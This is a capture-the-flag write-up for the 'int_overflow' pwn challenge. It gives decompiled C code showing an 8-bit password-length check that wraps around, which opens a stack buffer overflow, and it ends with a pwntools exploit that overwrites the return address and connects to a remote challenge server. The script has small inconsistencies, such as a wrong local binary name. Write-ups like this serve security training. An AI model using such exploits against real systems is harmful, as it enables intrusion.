当前位置:网站首页>PWN attack and defense world int_ overflow
PWN attack and defense world int_ overflow
2022-07-01 07:35:00 【Day-3】

First , Let's run and look at the file .

Throw in IDA in , View the source code :
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
After checking , This buf Overflow operation is available . But we need to pay attention , The last two bits he converts to binary need to be greater than 3 Less than or equal to 8.
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
day3.sendlineafter("Your choice:","1")
day3.sendlineafter("Please input your username:\n","123")
day3.recvuntil("Please input your passwd:\n")
day3.sendline(payload)
day3.interactive()
main()

obtain Flag.
边栏推荐
- 图像风格迁移 CycleGAN原理
- 2022危险化学品经营单位主要负责人试题及模拟考试
- redisson看门狗机制,redisson看门狗性能问题,redisson源码解析
- Is it safe to buy funds on the brokerage account
- base64
- Huawei modelarts training alexnet model
- Is the account opening of GF Securities safe and reliable? How to open GF Securities Account
- 下载Xshell和Xftp
- Warm congratulations on the successful listing of five elements hehe liquor
- C# Newtonsoft. Use of job in JSON
猜你喜欢

Redisson utilise la solution complète - redisson Documents officiels + commentaires (Partie 1)

C# Newtonsoft. Use of job in JSON

What information does the supplier need to know about Audi EDI project?
![Those high-frequency written tests and interview questions in [Jianzhi offer & Niuke 101] - linked list](/img/9a/44976b5df5567a7aff315e63569f6a.png)
Those high-frequency written tests and interview questions in [Jianzhi offer & Niuke 101] - linked list

Atguigu---- scaffold --02- use scaffold (2)

Autosar 学习记录(1) – EcuM_Init

AUTOSAR learning record (1) – ECUM_ Init

2022 electrician (intermediate) recurrent training question bank and answers

Illusory and simple screen raindrop post-processing effect

ctfshow-web355,356(SSRF)
随机推荐
Browser local storage
【R语言】两个/N个数据合并merge函数
Jax's deep learning and scientific computing
2022茶艺师(初级)操作证考试题库及模拟考试
LeetCode+ 71 - 75
组件的自定义事件①
【深圳IO】精确食品称(汇编语言的一些理解)
运维面临挑战?智能运维管理系统来帮您
JAX的深度学习和科学计算
C # read and write customized config file
Are there any practical skills for operation and maintenance management
Apple账号密码自动填充
kubernetes资源对象介绍及常用命令(二)
H5 页面设置了字体的粗细样式,但是在华为手机里微信打开访问样式不生效?
2022电工(中级)复训题库及答案
Is it reliable to open an account on the compass with your mobile phone? Is there any potential safety hazard
Discussion on several research hotspots of cvpr2022
C language implementation [minesweeping game] full version (implementation source code)
Cadence OrCAD capture "network name" is the same, but it is not connected or connected incorrectly. The usage of nodeName of liberation scheme
【无标题】